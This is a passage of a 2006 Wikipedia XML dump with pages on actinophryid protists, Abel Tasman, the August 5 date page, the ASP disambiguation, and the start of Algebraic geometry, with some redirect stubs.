The axopods are supported by [[microtubule]]s arranged in a unique and characteristic double-coil pattern.  In ''Actinophrys'', these arise from the nuclear membrane, while in ''Actinosphaerium'' some do and others don't.  Other heliozoa where the microtubules arise from the nucleus have been considered possible relatives, and it now appears that the actinophryids developed from [[axodine]]s such as ''Pedinella''.  These are specialized [[heterokont]] algae, related to [[golden alga]]e, [[diatom]]s, [[brown alga]]e, and the like, which have microtubule-supported tentacles.
[[Category:Heterokonts]][[Category:Amoeboids]]

As far as the diet of the Actinophyrys goes, the protist feeds on small flagellates, diminutive cilates, microscopic algae, etc.</text>
    </revision>
  </page>
  <page>
    <title>Abel Tasman</title>
    <id>1988</id>
    <revision>
      <id>40163213</id>
      <timestamp>2006-02-18T17:23:27Z</timestamp>
      <contributor>
        <username>Hugh2414</username>
        <id>47936</id>
      </contributor>
      <comment>rv - later version missed out the whole start of the article.</comment>
      <text xml:space="preserve">[[Image:AbelTasman.jpeg|thumb|250px|Portrait of Tasman]]
'''Abel Janszoon Tasman''' ([[1603]] - [[October 10]], [[1659]]), was a [[Netherlands|Dutch]] [[sea explorer|seafarer]] and [[exploration|explorer]], born in [[Lutjegast]], a village in the province of [[Groningen (province)|Groningen]], best known for his voyages of [[1642]] and [[1644]], in the service of the VOC ([[Dutch East India Company]]). His was the first European [[expedition]] to reach the islands of [[Van Diemen's Land]] (now [[Tasmania]]) and [[New Zealand]] and the first to sight the [[Fiji]] islands, in 1643. He also mapped substantial portions of [[Australia]].

His task was to investigate the country then known as ''[[New Holland (Australia)|New Holland]]'', now known as ''Australia'', of which the Dutch had already discovered the west coast, and to determine whether it was part of [[Terra Australis]]. It was hoped by the VOC that he would thus locate a new unexploited continent for [[trade]]. To do so, on his first voyage (1642 to [[1643]]) he sailed from [[Jakarta]] (then known as [[Batavia, Dutch East Indies|Batavia]]) with two small ships, the ''Heemskerck'' and the ''Zeehaen'', first to [[Mauritius]], and from there sailed east at a higher latitude than the Dutch had done before. This way, he completely missed mainland Australia, but did finally find land at the island of Tasmania on [[November 24]]. He named it ''Van Diemen's Land'', but later [[United Kingdom|British]] [[colonist]]s would rename it after Tasman. After some investigation, he sailed further east, and discovered [[New Zealand]], which he named ''Staten Landt'' on the theory that it was connected to a piece of [[Staten Island, Argentina|land]] south of the tip of [[South America]]. He sailed north along its west coast. At the northern end of the [[South Island]] he anchored the ships in a [[Golden Bay|bay]], where five of his sailors were killed in his first and only encounter with the [[Māori]]. (Schools in New Zealand during the early 1950s taught that Abel Tasman mistook the Maori challenges blown on conch shells as a welcome and instructed his bugler to return the challenges, note for note. Hence the attack that night.) Tasman named it ''Murderers' Bay'' (now known as [[Golden Bay]]) and sailed north, but mistook [[Cook Strait]] for a bight (naming it ''Zeehaen's Bight''), believing ''Staten Landt'' to be a single land, and part of [[Terra Australis]]. En route back to Batavia, he came across the [[Tonga]] archipelago on [[January 21]], [[1643]].  Two names that he bestowed on New Zealand landmarks still endure: [[Cape Maria Van Diemen]] and [[Three Kings Islands]].

[[Image:Tasmanroutes.PNG|thumb|350px|Tasman's routes]]
On his second voyage, in [[1644]], he followed the south coast of [[New Guinea]] eastward. He missed the [[Torres Strait]] between New Guinea and Australia, and continued his voyage along the Australian coast. He mapped the north coast of Australia.

From the point of view of the VOC, Tasman's explorations were a disappointment: He had neither found a promising area for trade nor a useful new shipping route. For over a century (until the era of [[James Cook]]), Tasmania and New Zealand were not again visited by Europeans. Australia was visited, but usually only by accident.

As with many explorers, Tasman's name has been honored in many places. These include:
*the [[island]] of [[Tasmania]], including features such as
**the [[Tasman Peninsula]]
**the [[Tasman Bridge]]
**the [[Tasman Highway]]
**the passenger/vehicle ferry [[Abel Tasman (ship)|Abel Tasman]]
*the [[Tasman Sea]]
*in New Zealand:
**the [[Tasman Glacier]]
**the [[Tasman River]]
**[[Mount Tasman]]
**the [[Abel Tasman National Park]]
**[[Tasman Bay]]
**the [[Tasman, New Zealand | Tasman District]]


==External link==
*[http://web.archive.org/web/20021004115657/http://www.lexicon.net/world/tasman/bhouse.htm A transcript of a paper on the voyages of Tasman, read to the Royal Society of Tasmania in 1895.]

[[Category:1603 births|Tasman, Abel]]
[[Category:1659 deaths|Tasman, Abel]]
[[Category:Dutch explorers|Tasman, Abel]]
[[Category:Explorers of Australia|Tasman, Abel]]
[[Category:Explorers of the Pacific|Tasman, Abel]]

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[[hr:Abel Tasman]]
[[is:Abel Tasman]]
[[ja:アベル・タスマン]]
[[nl:Abel Tasman]]
[[pl:Abel Tasman]]
[[pt:Abel Tasman]]
[[ru:Тасман, Абель]]
[[sco:Abel Tasman]]
[[simple:Abel Tasman]]
[[sv:Abel Tasman]]</text>
    </revision>
  </page>
  <page>
    <title>August 5</title>
    <id>1990</id>
    <revision>
      <id>41909676</id>
      <timestamp>2006-03-02T15:28:55Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <minor />
      <comment>/* Deaths */ formatting</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=5}}
|}
'''[[August 5]]''' is the 217th day of the year in the [[Gregorian Calendar]] (218th in [[leap year]]s), with 148 days remaining.

==Events==
*[[642]] - [[Battle of Maserfeld]] - [[Penda of Mercia]] defeats and kills [[Oswald of Bernicia]] 
*[[1100]] - [[Henry I of England|Henry I]] crowned King of [[England]] in [[Westminster Abbey]] 
*[[1305]] - [[William Wallace]], who led [[Scotland|Scottish]] resistance to [[England]], is captured by the English near [[Glasgow]] and transported to [[London]] for trial and execution.
*[[1583]] - Sir [[Humphrey Gilbert]] establishes first English colony in North America, at  what is now [[St John's, Newfoundland]].   
*[[1689]] - 1,500 [[Iroquois]] attack village of [[Lachine, Quebec|Lachine]], in [[New France]].   
*[[1763]] - [[Pontiac's War]] - [[Battle of Bushy Run]] - British forces led by [[Henry Bouquet]] defeat [[Chief Pontiac]]'s Indians at [[Bushy Run]]. 
*[[1772]] - [[First Partition of Poland]] begins. 
*[[1812]] - [[War of 1812]]: [[Tecumseh]]'s [[Native American (U.S.)|Indian]] force ambushes [[Thomas Van Horne]]'s 200 Americans   at Brownstone Creek, causing them to flee and retreat. 
*[[1858]] - [[Cyrus West Field]] and others complete the first [[transatlantic telegraph cable]] after several unsuccessful attempts. It operated for less than a month.
*[[1860]] - [[Charles XV of Sweden|Carl IV]] of [[Sweden-Norway]] is crowned king of [[Norway]], in [[Trondheim]].
*[[1861]] - [[American Civil War]]:  In order to help pay for the war effort, the [[United States government]] issues the first [[income tax]] as part of the [[Revenue Act of 1861]] (3% of all incomes over US $800; rescinded in [[1872]]).  
*[[1862]] - American Civil War: [[Battle of Baton Rouge]] - Along the [[Mississippi River]] near [[Baton Rouge, Louisiana]], [[Confederate States of America|Confederate]] troops drive [[United States|Union]] forces back into the city.  
*[[1864]] - American Civil War: [[Battle of Mobile Bay]] begins - At [[Mobile Bay]] near [[Mobile, Alabama]], Admiral [[David Farragut]] leads a [[United States|Union]] flotilla through [[Confederate States of America|Confederate]] defenses and seals one of the last major Southern ports. 
*[[1874]] - [[Japan]] launches its [[Postal savings systems|postal savings system]], modeled after a similar system in [[England]].
*[[1882]] - [[Standard Oil of New Jersey]] is established.  
*1882 - [[Martial law]] is enacted in [[Japan]].
*[[1884]] - The cornerstone for the [[Statue of Liberty]] is laid on [[Bedloe's Island]] in [[New York Harbor]].
*[[1912]] - [[Japan|Japan's]] first [[taxicab]] service begins in [[Ginza]], [[Tokyo]].
*[[1914]] - In [[Cleveland, Ohio]], the first electric [[traffic light]] is installed.
*[[1944]] - [[World War II]]: Possibly the biggest prison breakout in history occurs as 545 Japanese POWs [[Cowra breakout|attempt to escape]] outside the town of [[Cowra]], NSW, [[Australia]]. Most are killed but many escape and later commit suicide. Five Australian guards also die. 
*1944 -  [[Holocaust]]: [[Poland|Polish]] insurgents liberate a [[Germany|German]] [[labor camp]] in [[Warsaw]], freeing 348 [[Jew]]ish prisoners.  
*[[1949]] - In [[Ecuador]] an [[earthquake]] destroys 50 towns and kills more than 6000. 
*[[1960]] - [[Burkina Faso]], then known as &quot;[[Upper Volta]]&quot;, becomes [[Independence Day|independent]] from [[France]]
*[[1962]] - [[Film]] actress and sex icon, [[Marilyn Monroe]] is found dead in her [[Los Angeles]] home after apparently overdosing on [[sleeping pill]]s. 
*[[1963]] - [[United States]], [[United Kingdom]], and [[Soviet Union]] sign a [[Treaty Banning Nuclear Weapon Tests in the Atmosphere, in Outer Space, and Under Water|nuclear test ban treaty]]. 
*[[1964]] - [[Vietnam War]]: [[Operation Pierce Arrow]] - [[United States|American]]  aircraft from carriers [[USS Ticonderoga (CV-14)|USS ''Ticonderoga'']] and [[USS Constellation (CV-64)|USS ''Constellation'']] bomb [[North Vietnam]] in retaliation for strikes attacked US destroyers in the [[Gulf of Tonkin]].  
*[[1969]] - [[Mariner program]]: [[Mariner 7]] makes its closest fly-by of [[Mars (planet)|Mars]] (3,524 kilometers). 
*[[1974]] - [[Vietnam War]]: The [[Congress of the United States|U.S. Congress]] places a $1 billion dollar limit on military aid to [[South Vietnam]].  
*[[1981]] - [[Ronald Reagan]] fires 11,359 [[Strike action|striking]] air-traffic controllers who ignored his order for them to return to work.
*[[1993]] - Popular trading card game [[Magic: the Gathering]] is released. First trading card game to date.
*[[1995]] - The city of [[Knin]], a significant Serb stronghold, is liberated by Croatian forces during [[Operation Storm]]. The date is celebrated as the day of victory (&quot;Homeland Thanksgiving Day&quot;) in Croatia.
*[[1999]] - [[Mark McGwire]] becomes the 16th member of the [[500 home run club]] with a [[Home run|home run]] at [[Busch Stadium]] in [[St. Louis, Missouri]].
*[[2001]] - The [[Cleveland Indians]] defeat the [[Seattle Mariners]] 15-14 in a record-setting game known as the [[The Impossible Return|Impossible Return]].
*[[2003]] - A [[2003 Marriott Hotel bombing|car bomb]] explodes in the [[Indonesia]]n capital of [[Jakarta]].

==Births==
*[[1301]] - [[Edmund of Woodstock, 1st Earl of Kent]], English politician (d. [[1330]])
*[[1623]] - [[Antonio Cesti]], Italian composer (d. [[1669]])
*[[1641]] - [[John Hathorne]], American magistrate (d. [[1717]])
*[[1662]] - [[James Anderson (lawyer)|James Anderson]], Scottish historian (d. [[1728]])
*[[1694]] - [[Leonardo Leo]], Italian composer (d. [[1744]])
*[[1802]] - [[Niels Henrik Abel]], Norwegian mathematician (d. [[1829]])
*[[1813]] - [[Ivar Aasen]], Norwegian poet and language reformer (d. [[1896]])
*[[1815]] - [[Edward John Eyre]], English explorer (d. [[1901]])
*[[1850]] - [[Guy de Maupassant]], French author (d. [[1893]])
*[[1872]] - [[Oswaldo Cruz]], Brazilian physician (d. [[1917]])
*[[1866]] - [[Carl Harries]], German chemist (d. [[1923]])
*[[1877]] - [[Tom Thomson]], Canadian painter (d. [[1917]])
*[[1889]] - [[Conrad Aiken]], American writer (d. [[1973]])
*[[1890]] - [[Erich Kleiber]], Austrian-born conductor (d. [[1956]])
*1890 - [[Naum Gabo]] (born Naum Pevsner), Sculptor (d. [[1977]]) 
*[[1897]] - [[Aksel Larsen]], Danish politician (d. [[1972]])
*[[1906]] - [[John Huston]], American director (d. [[1987]])
*  1906   - [[Wassily Leontief]], Russian economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1999]])
*  1906   - [[Joan Hickson]], British actress (Miss Marple) (d. [[1998]])
*[[1908]] - [[Harold Holt]], seventeenth [[Prime Minister of Australia]] (d. [[1967]])
*[[1911]] - [[Robert Taylor (actor)|Robert Taylor]], American actor (d. [[1969]])
*[[1918]] - [[Betty Oliphant]], co-founder of National Ballet of Canada (d. [[2004]])
*[[1923]] - [[Devan Nair]], [[President of Singapore]]
*[[1930]] - [[Neil Armstrong]], astronaut
*[[1935]] - [[John Saxon (actor)|John Saxon]], American actor
*[[1937]] - [[Herb Brooks]], American hockey coach (d. [[2003]])
*[[1939]] - [[Princess Irene of the Netherlands]]
*[[1943]] - [[Nelson Briles]], baseball player (d. [[2005]])
*[[1946]] - [[Loni Anderson]], American actress
*  1946   - [[Jimmy Webb]], American composer and musician
*[[1947]] - [[Rick Derringer]], American musician
*  1947   - [[Angry Anderson]], Australian rock singer, actor and TV presenter
*[[1951]] - [[John Jarratt]], Australian actor and television presenter
*[[1953]] - [[Rick Mahler]], baseball player (d. [[2005]])
*  1953   - [[Samantha Sang]], Australian singer
*[[1956]] - [[Maureen McCormick]], American actress
*[[1961]] - [[Clayton Rohner]], American actor
*[[1962]] - [[Patrick Ewing]], American basketball player
*[[1964]] - [[Adam Yauch]], American musician
*[[1966]] - [[Jonathan Silverman]], American actor
*[[1972]] - [[Christian Olde Wolbers]], Belgian bassist ([[Fear Factory]])
*[[1974]] - [[Antoine Sibierski]], French footballer
*[[1975]] - [[Kajol Mukherjee]], Indian actress
*[[1977]] - [[Mark Mulder]], baseball player
*[[1979]] - [[David Healy (footballer)|David Healy]], Northern Irish footballer
*[[1980]] - [[Wayne Bridge]], English footballer
*[[1981]] - [[Carl Crawford]], baseball player
*1981 - [[Kou Shibasaki|K&amp;#333; Shibasaki]], Japanese singer and actress

&lt;!--Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list--&gt;

==Deaths==
*[[882]] - King [[Louis III of France]] (b. [[863]])
*[[1063]] - [[Gruffydd ap Llywelyn]], Welsh prince
*[[1364]] - [[Emperor Kogon]] of Japan (b. [[1313]])
*[[1572]] - [[Isaac Luria]], Palestinian-born Kabbalist (b. [[1534]])
*[[1579]] - [[Stanislaus Hosius]], Polish Catholic cardinal (b. [[1504]])
*[[1633]] - [[Archbishop George Abbot]], [[Archbishop of Canterbury]] (b. [[1562]])
*[[1678]] - [[Juan García de Zéspedes]], Mexican musician and composer (b. [[1619]])
*[[1743]] - [[John Hervey, Lord Hervey]], English statesman and writer (b. [[1696]])
*[[1778]] - [[Charles Clémencet]], French historian (b. [[1703]])
*[[1799]] - [[Richard Howe]], British admiral (b. [[1726]])
*[[1868]] - [[Jacques Boucher de Crèvecœur de Perthes]], French archaelogist (b. [[1788]])
*[[1880]] - [[Ferdinand Ritter von Hebra]], Austrian physician (b. [[1816]])
*[[1895]] - [[Friedrich Engels]], German philosopher (b. [[1820]])
*[[1923]] - [[Vatroslav Jagic]], Croatian slavist (b. [[1835]])
*[[1929]] - [[Millicent Fawcett]], British suffragist and feminist (b. [[1847]])
*[[1952]] - [[Sameera Moussa]], Egyptian nuclear scientist (b.[[1917]])
*[[1955]] - [[Carmen Miranda]], Portuguese actress and singer (b. [[1909]])
*[[1957]] - [[Heinrich Otto Wieland]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1877]])
*[[1959]] - [[Edgar Guest]], English poet (b. [[1881]])
*[[1960]] - [[Arthur Meighen]], ninth [[Prime Minister of Canada]] (b. [[1874]])
*[[1962]] - [[Marilyn Monroe]], American actress (b. [[1926]])
*[[1984]] - [[Richard Burton]], British actor (b. [[1925]])
*[[1991]] - [[Paul Brown]], American football coach (b. [[1908]])
*[[2000]] - Sir [[Alec Guinness]], British actor (b. [[1914]])
*[[2002]] - [[Josh Ryan Evans]], actor (b. 1982)
*2002 - [[Chick Hearn]], American basketball announcer (b. [[1916]])
*[[2005]] - [[Polina Astakhova]], Russian gymnast (b. [[1936]])
*2005 - [[Jim O'Hora]], American football coach (b. [[1915]])
*2005 - [[Raul Roco]], Philippine senator (b. [[1941]])

==Holidays and observances==
*[[Burkina Faso]] - Independence Day
*[[Croatia]] - Victory Day and National Thanksgiving Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/5 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050805.html ''The New York Times'': On This Day]

----

[[August 4]] - [[August 6]] - [[July 5]] - [[September 5]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:5 Augustus]]
[[ar:5 أغسطس]]
[[an:5 d'agosto]]
[[ast:5 d'agostu]]
[[bg:5 август]]
[[be:5 жніўня]]
[[bs:5. avgust]]
[[ca:5 d'agost]]
[[ceb:Agosto 5]]
[[cv:Çурла, 5]]
[[co:5 d'aostu]]
[[cs:5. srpen]]
[[cy:5 Awst]]
[[da:5. august]]
[[de:5. August]]
[[et:5. august]]
[[el:5 Αυγούστου]]
[[es:5 de agosto]]
[[eo:5-a de aŭgusto]]
[[eu:Abuztuaren 5]]
[[fo:5. august]]
[[fr:5 août]]
[[fy:5 augustus]]
[[ga:5 Lúnasa]]
[[gl:5 de agosto]]
[[ko:8월 5일]]
[[hr:5. kolovoza]]
[[io:5 di agosto]]
[[ilo:Agosto 5]]
[[id:5 Agustus]]
[[ia:5 de augusto]]
[[ie:5 august]]
[[is:5. ágúst]]
[[it:5 agosto]]
[[he:5 באוגוסט]]
[[jv:5 Agustus]]
[[ka:5 აგვისტო]]
[[csb:5 zélnika]]
[[ku:5'ê gelawêjê]]
[[lt:Rugpjūčio 5]]
[[lb:5. August]]
[[li:5 augustus]]
[[hu:Augusztus 5]]
[[mk:5 август]]
[[ms:5 Ogos]]
[[nap:5 'e aùsto]]
[[nl:5 augustus]]
[[ja:8月5日]]
[[no:5. august]]
[[nn:5. august]]
[[oc:5 d'agost]]
[[pl:5 sierpnia]]
[[pt:5 de Agosto]]
[[ro:5 august]]
[[ru:5 августа]]
[[sco:5 August]]
[[sq:5 Gusht]]
[[scn:5 di austu]]
[[simple:August 5]]
[[sk:5. august]]
[[sl:5. avgust]]
[[sr:5. август]]
[[fi:5. elokuuta]]
[[sv:5 augusti]]
[[tl:Agosto 5]]
[[tt:5. August]]
[[te:ఆగష్టు 5]]
[[th:5 สิงหาคม]]
[[vi:5 tháng 8]]
[[tr:5 Ağustos]]
[[uk:5 серпня]]
[[wa:5 d' awousse]]
[[war:Agosto 5]]
[[zh:8月5日]]</text>
    </revision>
  </page>
  <page>
    <title>Angula</title>
    <id>1991</id>
    <revision>
      <id>15900447</id>
      <timestamp>2005-05-20T04:15:23Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <comment>redirect to [[eel]]</comment>
      <text xml:space="preserve">#Redirect [[eel]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Ayckbourn/Plays</title>
    <id>1993</id>
    <revision>
      <id>15900449</id>
      <timestamp>2002-10-02T06:58:47Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>merge subpage with article</comment>
      <text xml:space="preserve">#REDIRECT [[Alan Ayckbourn]]</text>
    </revision>
  </page>
  <page>
    <title>ASP</title>
    <id>1994</id>
    <revision>
      <id>36507020</id>
      <timestamp>2006-01-24T15:18:34Z</timestamp>
      <contributor>
        <username>S.K.</username>
        <id>89293</id>
      </contributor>
      <minor />
      <comment>Only one link per item in disambiguation pages ([[MoS:DP]])</comment>
      <text xml:space="preserve">'''ASP''' may stand for:

* [[ASP (band)]], the name of a German Electrogoth/Alternative band
* [[ASP (handgun)]], the name for a custom-designed 9&amp;nbsp;mm pistol based on the S&amp;W Model 39
* [[Active Server Pages]], a web-scripting interface by Microsoft
* [[Adipocyte Stimulating Peptide]]
* [[Advanced Simple Profile]], an MPEG-4 video codec profile
* [[Agouti Signal Protein]]
* [[American Self Protection]]
* [[American Soccer Pyramid]]
* Amnesic shellfish poison, a marine biotoxin and neurotoxin, see under its alternate name [[domoic acid]]
* Anglo-Saxon Protestant, as part of the acronym [[WASP]]
* [[Answer set programming]], a declarative programming language
* [[Application service provider]], a business that provides computer-based services to customers over a network
* AppleTalk Session Protocol, a session layer protocol used by the [[AppleTalk]] suite of protocols
* Anti-Shock Protection, a protection of an audio compact disc playback, see [[Electronic Skip Protection]]
* [[Appalachia Service Project]], a Christian volunteer organization operating in Central Appalachia
* [[Aspatria railway station]], the National Rail code for the train station in the United Kingdom
*[[Assistant Superintendent of Police]], a police rank
* [[Association of Shareware Professionals]]
* [[Association of Surfing Professionals]]
* [[Astronaut Support Person]], a NASA astronaut responsible for monitoring Orbiter status as it undergoes testing and maintenance
* [[Average Selling Price]]
* [[Alta Scuola Politecnica]], a school of excellence founded by Politecnico di Milano and Politecnico di Torino
* [[Apple System Profiler]], Apple Computer's system profiler

== See also ==
* [[asp]] for other meanings of the word ''asp''

{{TLAdisambig}}


[[de:ASP]]
[[es:ASP]]
[[fr:ASP]]
[[nl:ASP]]
[[ja:ASP]]
[[pl:ASP]]
[[pt:ASP (desambiguação)]]
[[ru:ASP]]
[[sv:ASP]]
[[zh:ASP]]</text>
    </revision>
  </page>
  <page>
    <title>Algebraic geometry</title>
    <id>1997</id>
    <revision>
      <id>41119306</id>
      <timestamp>2006-02-25T04:15:48Z</timestamp>
      <contributor>
        <username>Jagged 85</username>
        <id>468111</id>
      </contributor>
      <comment>/* Notes and history */ added Islamic contribution</comment>
      <text xml:space="preserve">'''Algebraic geometry''' is a branch of [[mathematics]] which, as the name suggests, combines [[abstract algebra]], especially [[commutative algebra]], with [[geometry]]. It can be seen as the study of [[solution set]]s of systems of '''algebraic equations'''. When there is more than one variable, geometric considerations enter and are important to understand the phenomenon. One can say that the subject starts where [[equation solving]] leaves off, and it becomes at least as important to understand the totality of solutions of a system of equations as to find some solution; this does lead into some of the deepest waters in the whole of mathematics, both conceptually and in terms of technique.

== Zeroes of simultaneous polynomials ==

In classical algebraic geometry, the main objects of interest are the vanishing sets of collections of [[polynomial|polynomials]], meaning the set of all points that simultaneously satisfy one or more polynomial equations.  For instance, the two-dimensional [[sphere]] in three-dimensional [[Euclidean space]] &lt;math&gt;\mathbb R^3&lt;/math&gt; could be defined as the set of all points &lt;math&gt;(x,y,z)&lt;/math&gt; with 

:&lt;math&gt;x^2+y^2+z^2-1=0&lt;/math&gt;.

A &quot;slanted&quot; circle in &lt;math&gt;\mathbb R^3&lt;/math&gt; can be defined as the set of all  points &lt;math&gt;(x,y,z)&lt;/math&gt; which satisfy the two polynomial equations

:&lt;math&gt;x^2+y^2+z^2-1=0&lt;/math&gt;,
:&lt;math&gt;x+y+z=0&lt;/math&gt;.

== Affine varieties ==

First we start with a [[field (mathematics)|field]] ''k''.  In classical algebraic geometry, this field was always &lt;math&gt;\mathbb C&lt;/math&gt;, the complex numbers, but many of the same results are true if we assume only that ''k'' is [[algebraically closed field|algebraically closed]].  We define &lt;math&gt;{\mathbb A}^n_k&lt;/math&gt;, called the '''affine n-space over k''', to be ''k&lt;sup&gt;n&lt;/sup&gt;''.  The purpose of this apparently superfluous notation is to emphasize that one `forgets' the vector space structure that ''k&lt;sup&gt;n&lt;/sup&gt;'' carries.  Abstractly speaking, &lt;math&gt;{\mathbb A}^n_k&lt;/math&gt; is, for the moment, just a collection of points.  

Henceforth we will drop the ''k'' in &lt;math&gt;{\mathbb A}^n_k&lt;/math&gt; and instead write &lt;math&gt;{\mathbb A}^n&lt;/math&gt;.

Define a function 

:&lt;math&gt;f:{\mathbb A}^n\to{\mathbb A}^1&lt;/math&gt;

to be '''regular''' if it can be written as a polynomial, that is, if there is a polynomial ''p'' in 

:''k''[''x''&lt;sub&gt;1&lt;/sub&gt;,...,''x''&lt;sub&gt;''n''&lt;/sub&gt;] 

such that for each point 

:(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;) 

of &lt;math&gt;{\mathbb A}^n&lt;/math&gt;, 

:''f''(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;) = ''p''(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;).  

Regular functions on affine ''n''-space are thus exactly the same as polynomials over ''k'' in ''n'' variables.  We will write the regular functions on &lt;math&gt;{\mathbb A}^n&lt;/math&gt; as &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt;.

We say that a polynomial ''vanishes'' at a point if evaluating it at that point gives zero.  Let ''S'' be a set of polynomials in &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt;.  The ''vanishing set of S'' (or ''vanishing locus'') is the set ''V''(''S'') of all points in &lt;math&gt;\mathbb{A}^n&lt;/math&gt; where every polynomial in ''S'' vanishes.  In other words, 

:''V''(''S'')={(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;) | for all ''p'' in ''S'', ''p''(''t''&lt;sub&gt;1&lt;/sub&gt;,...,''t''&lt;sub&gt;''n''&lt;/sub&gt;) = 0}.  

A subset of &lt;math&gt;{\mathbb A}^n&lt;/math&gt; which is ''V''(''S''), for some ''S'', is called an '''algebraic set'''.  The ''V'' stands for ''variety'' (a specific type of algebraic set to be defined below).

Given a subset ''V'' of &lt;math&gt;{\mathbb A}^n&lt;/math&gt; which is a variety, can one recover the set of polynomials which generate it? If ''V'' is ''any'' subset of &lt;math&gt;{\mathbb A}^n&lt;/math&gt;, define ''I''(''V'') to be the set of all polynomials whose vanishing set contains V.  The ''I'' stands for [[ideal_(ring_theory)|ideal]]: if two polynomials ''f'' and ''g'' both vanish on ''V'', then ''f''+''g'' vanishes on ''V'', and if ''h'' is any polynomial, then ''hf'' vanishes on ''V'', so ''I''(''V'') is always an ideal of &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt;.

Two natural questions to ask are: given a subset ''V'' of &lt;math&gt;{\mathbb A}^n&lt;/math&gt;, when is 

:''V'' = ''V''(''I''(''V''))?  

Given a set ''S'' of polynomials, when is 

:''S'' = ''I''(''V''(''S''))?  

The answer to the first question is provided by introducing the [[Zariski topology]], a topology on &lt;math&gt;{\mathbb A}^n&lt;/math&gt; which directly reflects the algebraic structure of &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt;. Then ''V'' = ''V''(''I''(''V'')), if and only if ''V'' is a Zariski-closed set.  The answer to the second question is given by [[Hilbert's Nullstellensatz]].  In one of its forms, it says that ''I''(''V''(''S'')) is the [[prime radical]] of the ideal generated by ''S''. In more abstract language, there is a [[Galois connection]], giving rise to two [[closure operator]]s; they can be identified, and naturally play a basic role in the theory.

For various reasons we may not always want to work with the entire ideal corresponding to an algebraic set ''V''.  [[Hilbert's Basis Theorem]] implies that ideals in &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt; are always finitely generated.

An algebraic set is called '''irreducible''' if it cannot be written as the union of two smaller algebraic sets. An irreducible algebraic set is also called a '''variety'''.  It turns out that an algebraic set is a variety if and only if the polynomials defining it generate a [[prime ideal]] of the polynomial ring.

== Regular functions ==

Just as [[continuous function|continuous functions]] are the natural maps on [[topological space|topological spaces]] and [[smooth function|smooth functions]] are the natural maps on [[differentiable manifold|differentiable manifolds]], there is a natural class of functions on an algebraic set, called regular functions.  A '''regular function''' on an algebraic set V contained in &lt;math&gt;{\mathbb A}^n&lt;/math&gt; is defined to be the restriction of a regular function on &lt;math&gt;{\mathbb A}^n&lt;/math&gt;, in the sense we defined above.

It may seem unnaturally restrictive to require that a regular function always extend to the ambient space, but it is very similar to the situation in a [[normal space|normal]] [[topological space]], where the [[Tietze extension theorem]] guarantees that a continuous function on a closed subset always extends to the ambient topological space.

Just as with the regular functions on affine space, the regular functions on V form a ring, which we denote by k[V].  This ring is called the '''coordinate ring of V'''.

Since regular functions on V come from regular functions on &lt;math&gt;{\mathbb A}^n&lt;/math&gt;, there should be a relationship between their coordinate rings.
Specifically, to get a function in k[V] we took a function in &lt;math&gt;k[{\mathbb A}^n]&lt;/math&gt;, and we said that it was the same as another function if they gave the same values when evaluated on V.  This is the same as saying that their difference is zero on V.  From this we can see that k[V] is the quotient &lt;math&gt;k[{\mathbb A}^n]/I(V)&lt;/math&gt;.

== The category of affine varieties ==

Using regular functions from an affine variety to &lt;math&gt;{\mathbb A}^1&lt;/math&gt;, we can define regular functions from one affine variety to another.  First we will define a regular function from a variety into affine space: Let V be a variety contained in &lt;math&gt;{\mathbb A}^n&lt;/math&gt;.  Choose ''m'' regular functions on V, and call them f&lt;sub&gt;1&lt;/sub&gt;,...,f&lt;sub&gt;m&lt;/sub&gt;.  We define a '''regular function''' f from V to &lt;math&gt;{\mathbb A}^m&lt;/math&gt; by letting f(t&lt;sub&gt;1&lt;/sub&gt;,...,t&lt;sub&gt;n&lt;/sub&gt;)=(f&lt;sub&gt;1&lt;/sub&gt;,...,f&lt;sub&gt;m&lt;/sub&gt;).  In other words, each f&lt;sub&gt;i&lt;/sub&gt; determines one coordinate of the [[range (mathematics)|range]] of f.

If V' is a variety contained in &lt;math&gt;{\mathbb A}^m&lt;/math&gt;, we say that f is a '''regular function''' from V to V' if the range of f is contained in V'.  

This makes the collection of all affine varieties into a [[category theory|category]], where the objects are affine varieties and the [[morphism]]s are regular maps.  The following theorem characterizes the category of affine varieties:

: The category of affine varieties is the [[dual (category theory)|opposite category]] to the category of finitely generated [[reduced (ring theory)|reduced]] k-[[algebra_over_a_field|algebras]] and their homomorphisms.

== Projective space == 

Consider the variety V(y=x&lt;sup&gt;2&lt;/sup&gt;).  If we draw it, we get a [[parabola]].  As x increases, the slope of the line from the origin to the point (x,x&lt;sup&gt;2&lt;/sup&gt;) becomes larger and larger.  As x decreases, the slope of the same line becomes smaller and smaller.

Compare this to the variety V(y=x&lt;sup&gt;3&lt;/sup&gt;).  This is a [[cubic equation]].  As x increases, the slope of the line from the origin to the point (x,x&lt;sup&gt;3&lt;/sup&gt;) becomes larger and larger just as before.  But unlike before, as x decreases, the slope of the same line again becomes larger and larger.  So the behavior &quot;at infinity&quot; of V(y=x&lt;sup&gt;3&lt;/sup&gt;) is different from the behavior &quot;at infinity&quot; of V(y=x&lt;sup&gt;2&lt;/sup&gt;).  It is, however, difficult to make the concept of &quot;at infinity&quot; meaningful, if we restrict to working in affine space.

